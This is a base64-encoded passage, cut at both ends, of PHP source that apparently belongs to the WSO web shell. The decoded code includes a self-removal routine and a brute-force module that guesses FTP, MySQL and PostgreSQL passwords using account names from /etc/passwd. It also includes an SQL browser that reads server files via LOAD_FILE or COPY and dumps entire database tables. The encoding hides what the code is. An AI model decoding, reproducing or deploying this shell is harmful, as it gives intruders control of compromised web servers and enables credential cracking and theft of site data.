J2J5ZSEnKTsNCn0NCg0KZnVuY3Rpb24gYWN0aW9uU2VsZlJlbW92ZSgpIHsNCgkNCglpZigkX1BPU1RbJ3AxJ10gPT0gJ3llcycpDQoJCWlmKEB1bmxpbmsocHJlZ19yZXBsYWNlKCchXChcZCtcKVxzLiohJywgJycsIF9fRklMRV9fKSkpDQoJCQlkaWUoJ1NoZWxsIGhhcyBiZWVuIHJlbW92ZWQnKTsNCgkJZWxzZQ0KCQkJZWNobyAndW5saW5rIGVycm9yISc7DQogICAgaWYoJF9QT1NUWydwMSddICE9ICd5ZXMnKQ0KICAgICAgICB3c29IZWFkZXIoKTsNCgllY2hvICc8aDE+U3VpY2lkZTwvaDE+PGRpdiBjbGFzcz1jb250ZW50PlJlYWxseSB3YW50IHRvIHJlbW92ZSB0aGUgc2hlbGw/PGJyPjxhIGhyZWY9IyBvbmNsaWNrPSJnKG51bGwsbnVsbCxcJ3llc1wnKSI+WWVzPC9hPjwvZGl2Pic7DQoJd3NvRm9vdGVyKCk7DQp9DQoNCmZ1bmN0aW9uIGFjdGlvbkJydXRlZm9yY2UoKSB7DQoJd3NvSGVhZGVyKCk7DQoJaWYoIGlzc2V0KCRfUE9TVFsncHJvdG8nXSkgKSB7DQoJCWVjaG8gJzxoMT5SZXN1bHRzPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+PHNwYW4+VHlwZTo8L3NwYW4+ICcuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3Byb3RvJ10pLicgPHNwYW4+U2VydmVyOjwvc3Bhbj4gJy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnc2VydmVyJ10pLic8YnI+JzsNCgkJaWYoICRfUE9TVFsncHJvdG8nXSA9PSAnZnRwJyApIHsNCgkJCWZ1bmN0aW9uIGJydXRlRm9yY2UoJGlwLCRwb3J0LCRsb2dpbiwkcGFzcykgew0KCQkJCSRmcCA9IEBmdHBfY29ubmVjdCgkaXAsICRwb3J0PyRwb3J0OjIxKTsNCgkJCQlpZighJGZwKSByZXR1cm4gZmFsc2U7DQoJCQkJJHJlcyA9IEBmdHBfbG9naW4oJGZwLCAkbG9naW4sICRwYXNzKTsNCgkJCQlAZnRwX2Nsb3NlKCRmcCk7DQoJCQkJcmV0dXJuICRyZXM7DQoJCQl9DQoJCX0gZWxzZWlmKCAkX1BPU1RbJ3Byb3RvJ10gPT0gJ215c3FsJyApIHsNCgkJCWZ1bmN0aW9uIGJydXRlRm9yY2UoJGlwLCRwb3J0LCRsb2dpbiwkcGFzcykgew0KCQkJCSRyZXMgPSBAbXlzcWxfY29ubmVjdCgkaXAuJzonLiRwb3J0PyRwb3J0OjMzMDYsICRsb2dpbiwgJHBhc3MpOw0KCQkJCUBteXNxbF9jbG9zZSgkcmVzKTsNCgkJCQlyZXR1cm4gJHJlczsNCgkJCX0NCgkJfSBlbHNlaWYoICRfUE9TVFsncHJvdG8nXSA9PSAncGdzcWwnICkgew0KCQkJZnVuY3Rpb24gYnJ1dGVGb3JjZSgkaXAsJHBvcnQsJGxvZ2luLCRwYXNzKSB7DQoJCQkJJHN0ciA9ICJob3N0PSciLiRpcC4iJyBwb3J0PSciLiRwb3J0LiInIHVzZXI9JyIuJGxvZ2luLiInIHBhc3N3b3JkPSciLiRwYXNzLiInIGRibmFtZT1wb3N0Z3JlcyI7DQoJCQkJJHJlcyA9IEBwZ19jb25uZWN0KCRzdHIpOw0KCQkJCUBwZ19jbG9zZSgkcmVzKTsNCgkJCQlyZXR1cm4gJHJlczsNCgkJCX0NCgkJfQ0KCQkkc3VjY2VzcyA9IDA7DQoJCSRhdHRlbXB0cyA9IDA7DQoJCSRzZXJ2ZXIgPSBleHBsb2RlKCI6IiwgJF9QT1NUWydzZXJ2ZXInXSk7DQoJCWlmKCRfUE9TVFsndHlwZSddID09IDEpIHsNCgkJCSR0ZW1wID0gQGZpbGUoJy9ldGMvcGFzc3dkJyk7DQoJCQlpZiggaXNfYXJyYXkoJHRlbXApICkNCgkJCQlmb3JlYWNoKCR0ZW1wIGFzICRsaW5lKSB7DQoJCQkJCSRsaW5lID0gZXhwbG9kZSgiOiIsICRsaW5lKTsNCgkJCQkJKyskYXR0ZW1wdHM7DQoJCQkJCWlmKCBicnV0ZUZvcmNlKEAkc2VydmVyWzBdLEAkc2VydmVyWzFdLCAkbGluZVswXSwgJGxpbmVbMF0pICkgew0KCQkJCQkJJHN1Y2Nlc3MrKzsNCgkJCQkJCWVjaG8gJzxiPicuaHRtbHNwZWNpYWxjaGFycygkbGluZVswXSkuJzwvYj46Jy5odG1sc3BlY2lhbGNoYXJzKCRsaW5lWzBdKS4nPGJyPic7DQoJCQkJCX0NCgkJCQkJaWYoQCRfUE9TVFsncmV2ZXJzZSddKSB7DQoJCQkJCQkkdG1wID0gIiI7DQoJCQkJCQlmb3IoJGk9c3RybGVuKCRsaW5lWzBdKS0xOyAkaT49MDsgLS0kaSkNCgkJCQkJCQkkdG1wIC49ICRsaW5lWzBdWyRpXTsNCgkJCQkJCSsrJGF0dGVtcHRzOw0KCQkJCQkJaWYoIGJydXRlRm9yY2UoQCRzZXJ2ZXJbMF0sQCRzZXJ2ZXJbMV0sICRsaW5lWzBdLCAkdG1wKSApIHsNCgkJCQkJCQkkc3VjY2VzcysrOw0KCQkJCQkJCWVjaG8gJzxiPicuaHRtbHNwZWNpYWxjaGFycygkbGluZVswXSkuJzwvYj46Jy5odG1sc3BlY2lhbGNoYXJzKCR0bXApOw0KCQkJCQkJfQ0KCQkJCQl9DQoJCQkJfQ0KCQl9IGVsc2VpZigkX1BPU1RbJ3R5cGUnXSA9PSAyKSB7DQoJCQkkdGVtcCA9IEBmaWxlKCRfUE9TVFsnZGljdCddKTsNCgkJCWlmKCBpc19hcnJheSgkdGVtcCkgKQ0KCQkJCWZvcmVhY2goJHRlbXAgYXMgJGxpbmUpIHsNCgkJCQkJJGxpbmUgPSB0cmltKCRsaW5lKTsNCgkJCQkJKyskYXR0ZW1wdHM7DQoJCQkJCWlmKCBicnV0ZUZvcmNlKCRzZXJ2ZXJbMF0sQCRzZXJ2ZXJbMV0sICRfUE9TVFsnbG9naW4nXSwgJGxpbmUpICkgew0KCQkJCQkJJHN1Y2Nlc3MrKzsNCgkJCQkJCWVjaG8gJzxiPicuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ2xvZ2luJ10pLic8L2I+OicuaHRtbHNwZWNpYWxjaGFycygkbGluZSkuJzxicj4nOw0KCQkJCQl9DQoJCQkJfQ0KCQl9DQoJCWVjaG8gIjxzcGFuPkF0dGVtcHRzOjwvc3Bhbj4gJGF0dGVtcHRzIDxzcGFuPlN1Y2Nlc3M6PC9zcGFuPiAkc3VjY2VzczwvZGl2Pjxicj4iOw0KCX0NCgllY2hvICc8aDE+RlRQIGJydXRlZm9yY2U8L2gxPjxkaXYgY2xhc3M9Y29udGVudD48dGFibGU+PGZvcm0gbWV0aG9kPXBvc3Q+PHRyPjx0ZD48c3Bhbj5UeXBlPC9zcGFuPjwvdGQ+Jw0KCQkuJzx0ZD48c2VsZWN0IG5hbWU9cHJvdG8+PG9wdGlvbiB2YWx1ZT1mdHA+RlRQPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1teXNxbD5NeVNxbDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9cGdzcWw+UG9zdGdyZVNxbDwvb3B0aW9uPjwvc2VsZWN0PjwvdGQ+PC90cj48dHI+PHRkPicNCgkJLic8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKS4nIj4nDQoJCS4nPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnYSddKS4nIj4nDQoJCS4nPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldCB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnY2hhcnNldCddKS4nIj4nDQoJCS4nPHNwYW4+U2VydmVyOnBvcnQ8L3NwYW4+PC90ZD4nDQoJCS4nPHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zZXJ2ZXIgdmFsdWU9IjEyNy4wLjAuMSI+PC90ZD48L3RyPicNCgkJLic8dHI+PHRkPjxzcGFuPkJydXRlIHR5cGU8L3NwYW4+PC90ZD4nDQoJCS4nPHRkPjxsYWJlbD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IjEiIGNoZWNrZWQ+IC9ldGMvcGFzc3dkPC9sYWJlbD48L3RkPjwvdHI+Jw0KCQkuJzx0cj48dGQ+PC90ZD48dGQ+PGxhYmVsIHN0eWxlPSJwYWRkaW5nLWxlZnQ6MTVweCI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1yZXZlcnNlIHZhbHVlPTEgY2hlY2tlZD4gcmV2ZXJzZSAobG9naW4gLT4gbmlnb2wpPC9sYWJlbD48L3RkPjwvdHI+Jw0KCQkuJzx0cj48dGQ+PC90ZD48dGQ+PGxhYmVsPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iMiI+IERpY3Rpb25hcnk8L2xhYmVsPjwvdGQ+PC90cj4nDQoJCS4nPHRyPjx0ZD48L3RkPjx0ZD48dGFibGUgc3R5bGU9InBhZGRpbmctbGVmdDoxNXB4Ij48dHI+PHRkPjxzcGFuPkxvZ2luPC9zcGFuPjwvdGQ+Jw0KCQkuJzx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9bG9naW4gdmFsdWU9InJvb3QiPjwvdGQ+PC90cj4nDQoJCS4nPHRyPjx0ZD48c3Bhbj5EaWN0aW9uYXJ5PC9zcGFuPjwvdGQ+Jw0KCQkuJzx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9ZGljdCB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkuJ3Bhc3N3ZC5kaWMiPjwvdGQ+PC90cj48L3RhYmxlPicNCgkJLic8L3RkPjwvdHI+PHRyPjx0ZD48L3RkPjx0ZD48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L3RkPjwvdHI+PC9mb3JtPjwvdGFibGU+JzsNCgllY2hvICc8L2Rpdj48YnI+JzsNCgl3c29Gb290ZXIoKTsNCn0NCg0KZnVuY3Rpb24gYWN0aW9uU3FsKCkgew0KCWNsYXNzIERiQ2xhc3Mgew0KCQl2YXIgJHR5cGU7DQoJCXZhciAkbGluazsNCgkJdmFyICRyZXM7DQoJCWZ1bmN0aW9uIERiQ2xhc3MoJHR5cGUpCXsNCgkJCSR0aGlzLT50eXBlID0gJHR5cGU7DQoJCX0NCgkJZnVuY3Rpb24gY29ubmVjdCgkaG9zdCwgJHVzZXIsICRwYXNzLCAkZGJuYW1lKXsNCgkJCXN3aXRjaCgkdGhpcy0+dHlwZSkJew0KCQkJCWNhc2UgJ215c3FsJzoNCgkJCQkJaWYoICR0aGlzLT5saW5rID0gQG15c3FsX2Nvbm5lY3QoJGhvc3QsJHVzZXIsJHBhc3MsdHJ1ZSkgKSByZXR1cm4gdHJ1ZTsNCgkJCQkJYnJlYWs7DQoJCQkJY2FzZSAncGdzcWwnOg0KCQkJCQkkaG9zdCA9IGV4cGxvZGUoJzonLCAkaG9zdCk7DQoJCQkJCWlmKCEkaG9zdFsxXSkgJGhvc3RbMV09NTQzMjsNCgkJCQkJaWYoICR0aGlzLT5saW5rID0gQHBnX2Nvbm5lY3QoImhvc3Q9eyRob3N0WzBdfSBwb3J0PXskaG9zdFsxXX0gdXNlcj0kdXNlciBwYXNzd29yZD0kcGFzcyBkYm5hbWU9JGRibmFtZSIpICkgcmV0dXJuIHRydWU7DQoJCQkJCWJyZWFrOw0KCQkJfQ0KCQkJcmV0dXJuIGZhbHNlOw0KCQl9DQoJCWZ1bmN0aW9uIHNlbGVjdGRiKCRkYikgew0KCQkJc3dpdGNoKCR0aGlzLT50eXBlKQl7DQoJCQkJY2FzZSAnbXlzcWwnOg0KCQkJCQlpZiAoQG15c3FsX3NlbGVjdF9kYigkZGIpKXJldHVybiB0cnVlOw0KCQkJCQlicmVhazsNCgkJCX0NCgkJCXJldHVybiBmYWxzZTsNCgkJfQ0KCQlmdW5jdGlvbiBxdWVyeSgkc3RyKSB7DQoJCQlzd2l0Y2goJHRoaXMtPnR5cGUpIHsNCgkJCQljYXNlICdteXNxbCc6DQoJCQkJCXJldHVybiAkdGhpcy0+cmVzID0gQG15c3FsX3F1ZXJ5KCRzdHIpOw0KCQkJCQlicmVhazsNCgkJCQljYXNlICdwZ3NxbCc6DQoJCQkJCXJldHVybiAkdGhpcy0+cmVzID0gQHBnX3F1ZXJ5KCR0aGlzLT5saW5rLCRzdHIpOw0KCQkJCQlicmVhazsNCgkJCX0NCgkJCXJldHVybiBmYWxzZTsNCgkJfQ0KCQlmdW5jdGlvbiBmZXRjaCgpIHsNCgkJCSRyZXMgPSBmdW5jX251bV9hcmdzKCk/ZnVuY19nZXRfYXJnKDApOiR0aGlzLT5yZXM7DQoJCQlzd2l0Y2goJHRoaXMtPnR5cGUpCXsNCgkJCQljYXNlICdteXNxbCc6DQoJCQkJCXJldHVybiBAbXlzcWxfZmV0Y2hfYXNzb2MoJHJlcyk7DQoJCQkJCWJyZWFrOw0KCQkJCWNhc2UgJ3Bnc3FsJzoNCgkJCQkJcmV0dXJuIEBwZ19mZXRjaF9hc3NvYygkcmVzKTsNCgkJCQkJYnJlYWs7DQoJCQl9DQoJCQlyZXR1cm4gZmFsc2U7DQoJCX0NCgkJZnVuY3Rpb24gbGlzdERicygpIHsNCgkJCXN3aXRjaCgkdGhpcy0+dHlwZSkJew0KCQkJCWNhc2UgJ215c3FsJzoNCiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+cXVlcnkoIlNIT1cgZGF0YWJhc2VzIik7DQoJCQkJYnJlYWs7DQoJCQkJY2FzZSAncGdzcWwnOg0KCQkJCQlyZXR1cm4gJHRoaXMtPnJlcyA9ICR0aGlzLT5xdWVyeSgiU0VMRUNUIGRhdG5hbWUgRlJPTSBwZ19kYXRhYmFzZSBXSEVSRSBkYXRpc3RlbXBsYXRlIT0ndCciKTsNCgkJCQlicmVhazsNCgkJCX0NCgkJCXJldHVybiBmYWxzZTsNCgkJfQ0KCQlmdW5jdGlvbiBsaXN0VGFibGVzKCkgew0KCQkJc3dpdGNoKCR0aGlzLT50eXBlKQl7DQoJCQkJY2FzZSAnbXlzcWwnOg0KCQkJCQlyZXR1cm4gJHRoaXMtPnJlcyA9ICR0aGlzLT5xdWVyeSgnU0hPVyBUQUJMRVMnKTsNCgkJCQlicmVhazsNCgkJCQljYXNlICdwZ3NxbCc6DQoJCQkJCXJldHVybiAkdGhpcy0+cmVzID0gJHRoaXMtPnF1ZXJ5KCJzZWxlY3QgdGFibGVfbmFtZSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgd2hlcmUgdGFibGVfc2NoZW1hICE9ICdpbmZvcm1hdGlvbl9zY2hlbWEnIEFORCB0YWJsZV9zY2hlbWEgIT0gJ3BnX2NhdGFsb2cnIik7DQoJCQkJYnJlYWs7DQoJCQl9DQoJCQlyZXR1cm4gZmFsc2U7DQoJCX0NCgkJZnVuY3Rpb24gZXJyb3IoKSB7DQoJCQlzd2l0Y2goJHRoaXMtPnR5cGUpCXsNCgkJCQljYXNlICdteXNxbCc6DQoJCQkJCXJldHVybiBAbXlzcWxfZXJyb3IoKTsNCgkJCQlicmVhazsNCgkJCQljYXNlICdwZ3NxbCc6DQoJCQkJCXJldHVybiBAcGdfbGFzdF9lcnJvcigpOw0KCQkJCWJyZWFrOw0KCQkJfQ0KCQkJcmV0dXJuIGZhbHNlOw0KCQl9DQoJCWZ1bmN0aW9uIHNldENoYXJzZXQoJHN0cikgew0KCQkJc3dpdGNoKCR0aGlzLT50eXBlKQl7DQoJCQkJY2FzZSAnbXlzcWwnOg0KCQkJCQlpZihmdW5jdGlvbl9leGlzdHMoJ215c3FsX3NldF9jaGFyc2V0JykpDQoJCQkJCQlyZXR1cm4gQG15c3FsX3NldF9jaGFyc2V0KCRzdHIsICR0aGlzLT5saW5rKTsNCgkJCQkJZWxzZQ0KCQkJCQkJJHRoaXMtPnF1ZXJ5KCdTRVQgQ0hBUlNFVCAnLiRzdHIpOw0KCQkJCQlicmVhazsNCgkJCQljYXNlICdwZ3NxbCc6DQoJCQkJCXJldHVybiBAcGdfc2V0X2NsaWVudF9lbmNvZGluZygkdGhpcy0+bGluaywgJHN0cik7DQoJCQkJCWJyZWFrOw0KCQkJfQ0KCQkJcmV0dXJuIGZhbHNlOw0KCQl9DQoJCWZ1bmN0aW9uIGxvYWRGaWxlKCRzdHIpIHsNCgkJCXN3aXRjaCgkdGhpcy0+dHlwZSkJew0KCQkJCWNhc2UgJ215c3FsJzoNCgkJCQkJcmV0dXJuICR0aGlzLT5mZXRjaCgkdGhpcy0+cXVlcnkoIlNFTEVDVCBMT0FEX0ZJTEUoJyIuYWRkc2xhc2hlcygkc3RyKS4iJykgYXMgZmlsZSIpKTsNCgkJCQlicmVhazsNCgkJCQljYXNlICdwZ3NxbCc6DQoJCQkJCSR0aGlzLT5xdWVyeSgiQ1JFQVRFIFRBQkxFIHdzbzIoZmlsZSB0ZXh0KTtDT1BZIHdzbzIgRlJPTSAnIi5hZGRzbGFzaGVzKCRzdHIpLiInO3NlbGVjdCBmaWxlIGZyb20gd3NvMjsiKTsNCgkJCQkJJHI9YXJyYXkoKTsNCgkJCQkJd2hpbGUoJGk9JHRoaXMtPmZldGNoKCkpDQoJCQkJCQkkcltdID0gJGlbJ2ZpbGUnXTsNCgkJCQkJJHRoaXMtPnF1ZXJ5KCdkcm9wIHRhYmxlIHdzbzInKTsNCgkJCQkJcmV0dXJuIGFycmF5KCdmaWxlJz0+aW1wbG9kZSgiXG4iLCRyKSk7DQoJCQkJYnJlYWs7DQoJCQl9DQoJCQlyZXR1cm4gZmFsc2U7DQoJCX0NCgkJZnVuY3Rpb24gZHVtcCgkdGFibGUsICRmcCA9IGZhbHNlKSB7DQoJCQlzd2l0Y2goJHRoaXMtPnR5cGUpCXsNCgkJCQljYXNlICdteXNxbCc6DQoJCQkJCSRyZXMgPSAkdGhpcy0+cXVlcnkoJ1NIT1cgQ1JFQVRFIFRBQkxFIGAnLiR0YWJsZS4nYCcpOw0KCQkJCQkkY3JlYXRlID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlcyk7DQoJCQkJCSRzcWwgPSAkY3JlYXRlWzFdLiI7XG4iOw0KICAgICAgICAgICAgICAgICAgICBpZigkZnApIGZ3cml0ZSgkZnAsICRzcWwpOyBlbHNlIGVjaG8oJHNxbCk7DQoJCQkJCSR0aGlzLT5xdWVyeSgnU0VMRUNUICogRlJPTSBgJy4kdGFibGUuJ2AnKTsNCiAgICAgICAgICAgICAgICAgICAgJGhlYWQgPSB0cnVlOw0KCQkJCQl3aGlsZSgkaXRlbSA9ICR0aGlzLT5mZXRjaCgpKSB7DQoJCQkJCQkkY29sdW1ucyA9IGFycmF5KCk7DQoJCQkJCQlmb3JlYWNoKCRpdGVtIGFzICRrPT4kdikgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCR2ID09IG51bGwpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpdGVtWyRrXSA9ICJOVUxMIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoaXNfbnVtZXJpYygkdikpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpdGVtWyRrXSA9ICR2Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGl0ZW1bJGtdID0gIiciLkBteXNxbF9yZWFsX2VzY2FwZV9zdHJpbmcoJHYpLiInIjsNCgkJCQkJCQkkY29sdW1uc1tdID0gImAiLiRrLiJgIjsNCgkJCQkJCX0NCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRoZWFkKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNxbCA9ICdJTlNFUlQgSU5UTyBgJy4kdGFibGUuJ2AgKCcuaW1wbG9kZSgiLCAiLCAkY29sdW1ucykuIikgVkFMVUVTIFxuXHQoIi5pbXBsb2RlKCIsICIsICRpdGVtKS4nKSc7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGhlYWQgPSBmYWxzZTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgPSAiXG5cdCwoIi5pbXBsb2RlKCIsICIsICRpdGVtKS4nKSc7DQogICAgICAgICAgICAgICAgICAgICAgICBpZigkZnApIGZ3cml0ZSgkZnAsICRzcWwpOyBlbHNlIGVjaG8oJHNxbCk7DQoJCQkJCX0NCiAgICAgICAgICAgICAgICAgICAgaWYoISRoZWFkKQ0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJGZwKSBmd3JpdGUoJGZwLCAiO1xuXG4iKTsgZWxzZSBlY2hvKCI7XG5cbiIpOw0KCQkJCWJyZWFrOw0KCQkJCWNhc2UgJ3Bnc3FsJzoNCgkJCQkJJHRoaXMtPnF1ZXJ5KCdTRUxFQ1QgKiBGUk9NICcuJHRhYmxlKTsNCgkJCQkJd2hpbGUoJGl0ZW0gPSAkdGhpcy0+ZmV0Y2goKSkgew0KCQkJCQkJJGNvbHVtbnMgPSBhcnJheSgpOw0KCQkJCQkJZm9yZWFjaCgkaXRlbSBhcyAkaz0+JHYpIHsNCgkJCQkJCQkkaXRlbVska10gPSAiJyIuYWRkc2xhc2hlcygkdikuIiciOw0KCQkJCQkJCSRjb2x1bW5zW10gPSAkazsNCgkJCQkJCX0NCiAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgPSAnSU5TRVJUIElOVE8gJy4kdGFibGUuJyAoJy5pbXBsb2RlKCIsICIsICRjb2x1bW5zKS4nKSBWQUxVRVMgKCcuaW1wbG9kZSgiLCAiLCAkaXRlbSkuJyk7Jy4iXG4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJGZwKSBmd3JpdGUoJGZwLCAkc3FsKTsgZWxzZSBlY2hvKCRzcWwpOw0KCQkJCQl9DQoJCQkJYnJlYWs7DQoJCQl9DQoJCQlyZXR1cm4gZmFsc2U7DQoJCX0NCgl9Ow0KCSRkYiA9IG5ldyBEYkNsYXNzKCRfUE9TVFsndHlwZSddKTsNCglpZihAJF9QT1NUWydwMiddPT0nZG93bmxvYWQnKSB7DQoJCSRkYi0+Y29ubmVjdCgkX1BPU1RbJ3NxbF9ob3N0J10sICRfUE9TVFsnc3FsX2xvZ2luJ10sICRfUE9TVFsnc3FsX3Bhc3MnXSwgJF9QT1NUWydzcWxfYmFzZSddKTsNCgkJJGRiLT5zZWxlY3RkYigkX1BPU1RbJ3NxbF9iYXNlJ10pOw0KICAgICAgICBzd2l0Y2goJF9QT1NUWydjaGFyc2V0J10pIHsNCiAgICAgICAgICAgIGNhc2UgIldpbmRvd3MtMTI1MSI6ICRkYi0+c2V0Q2hhcnNldCgnY3AxMjUxJyk7IGJyZWFrOw0KICAgICAgICAgICAgY2FzZSAiVVRGLTgiOiAkZGItPnNldENoYXJzZXQoJ3V0ZjgnKTsgYnJlYWs7DQogICAgICAgICAgICBjYXNlICJLT0k4LVIiOiAkZGItPnNldENoYXJzZXQoJ2tvaThyJyk7IGJyZWFrOw0KICAgICAgICAgICAgY2FzZSAiS09JOC1VIjogJGRiLT5zZXRDaGFyc2V0KCdrb2k4dScpOyBicmVhazsNCiAgICAgICAgICAgIGNhc2UgImNwODY2IjogJGRiLT5zZXRDaGFyc2V0KCdjcDg2NicpOyBicmVhazsNCiAgICAgICAgfQ0KICAgICAgICBpZihlbXB0eSgkX1BPU1RbJ2ZpbGUnXSkpIHsNCiAgICAgICAgICAgIG9iX3N0YXJ0KCJvYl9nemhhbmRsZXIiLCA0MDk2KTsNCiAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9ZHVtcC5zcWwiKTsNCiAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC1UeXBlOiB0ZXh0L3BsYWluIik7DQogICAgICAgICAgICBmb3JlYWNoKCRfUE9TVFsndGJsJ10gYXMgJHYpDQoJCQkJJGRiLT5kdW1wKCR2KTsNCiAgICAgICAgICAgIGV4aXQ7DQogICAgICAgIH0gZWxzZWlmKCRmcCA9IEBmb3BlbigkX1BPU1RbJ2ZpbGUnXSwgJ3cnKSkgew0KICAgICAgICAgICAgZm9yZWFjaCgkX1BPU1RbJ3RibCddIGFzICR2KQ0KICAgICAgICAgICAgICAgICRkYi0+ZHVtcCgkdiwgJGZwKTsNCiAgICAgICAgICAgIGZjbG9zZSgkZnApOw0KICAgICAgICAgICAgdW5zZXQoJF9QT1NUWydwMiddKTsNCiAgICAgICAgfSBlbHNlDQogICAgICAgICAgICBkaWUoJzxzY3JpcHQ+YWxlcnQoIkVycm9yISBDYW5cJ3Qgb3BlbiBmaWxlIik7d2luZG93Lmhpc3RvcnkuYmFjaygtMSk8L3NjcmlwdD4nKTsNCgl9DQoJd3NvSGVhZGVyKCk7DQoJZWNobyAiDQo8aDE+U3FsIGJyb3dzZXI8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4NCjxmb3JtIG5hbWU9J3NmJyBtZXRob2Q9J3Bvc3QnIG9uc3VibWl0PSdmcyh0aGlzKTsnPjx0YWJsZSBjZWxscGFkZGluZz0nMicgY2VsbHNwYWNpbmc9JzAnPjx0cj4NCjx0ZD5UeXBlPC90ZD48dGQ+SG9zdDwvdGQ+PHRkPkxvZ2luPC90ZD48dGQ+UGFzc3dvcmQ8L3RkPjx0ZD5EYXRhYmFzZTwvdGQ+PHRkPjwvdGQ+PC90cj48dHI+DQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPVNxbD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMSB2YWx1ZT0ncXVlcnknPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAyIHZhbHVlPScnPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWMgdmFsdWU9JyIuIGh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKSAuIic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldCB2YWx1ZT0nIi4gKGlzc2V0KCRfUE9TVFsnY2hhcnNldCddKT8kX1BPU1RbJ2NoYXJzZXQnXTonJykgLiInPg0KPHRkPjxzZWxlY3QgbmFtZT0ndHlwZSc+PG9wdGlvbiB2YWx1ZT0nbXlzcWwnICI7DQogICAgaWYoQCRfUE9TVFsndHlwZSddPT0nbXlzcWwnKWVjaG8gJ3NlbGVjdGVkJzsNCmVjaG8gIj5NeVNxbDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J3Bnc3FsJyAiOw0KaWYoQCRfUE9TVFsndHlwZSddPT0ncGdzcWwnKWVjaG8gJ3NlbGVjdGVkJzsNCmVjaG8gIj5Qb3N0Z3JlU3FsPC9vcHRpb24+PC9zZWxlY3Q+PC90ZD4NCjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9c3FsX2hvc3QgdmFsdWU9JyIuIChlbXB0eSgkX1BPU1RbJ3NxbF9ob3N0J10pPydsb2NhbGhvc3QnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzcWxfaG9zdCddKSkgLiInPjwvdGQ+DQo8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXNxbF9sb2dpbiB2YWx1ZT0nIi4gKGVtcHR5KCRfUE9TVFsnc3FsX2xvZ2luJ10pPydyb290JzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnc3FsX2xvZ2luJ10pKSAuIic+PC90ZD4NCjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9c3FsX3Bhc3MgdmFsdWU9JyIuIChlbXB0eSgkX1BPU1RbJ3NxbF9wYXNzJ10pPycnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzcWxfcGFzcyddKSkgLiInPjwvdGQ+PHRkPiI7DQoJJHRtcCA9ICI8aW5wdXQgdHlwZT10ZXh0IG5hbWU9c3FsX2Jhc2UgdmFsdWU9Jyc+IjsNCglpZihpc3NldCgkX1BPU1RbJ3NxbF9ob3N0J10pKXsNCgkJaWYoJGRiLT5jb25uZWN0KCRfUE9TVFsnc3FsX2hvc3QnXSwgJF9QT1NUWydzcWxfbG9naW4nXSwgJF9QT1NUWydzcWxfcGFzcyddLCAkX1BPU1RbJ3NxbF9iYXNlJ10pKSB7DQoJCQlzd2l0Y2goJF9QT1NUWydjaGFyc2V0J10pIHsNCgkJCQljYXNlICJXaW5kb3dzLTEyNTEiOiAkZGItPnNldENoYXJzZXQoJ2NwMTI1MScpOyBicmVhazsNCgkJCQljYXNlICJVVEYtOCI6ICRkYi0+c2V0Q2hhcnNldCgndXRmOCcpOyBicmVhazsNCgkJCQljYXNlICJLT0k4LVIiOiAkZGItPnNldENoYXJzZXQoJ2tvaThyJyk7IGJyZWFrOw0KCQkJCWNhc2UgIktPSTgtVSI6ICRkYi0+c2V0Q2hhcnNldCgna29pOHUnKTsgYnJlYWs7DQoJCQkJY2FzZSAiY3A4NjYi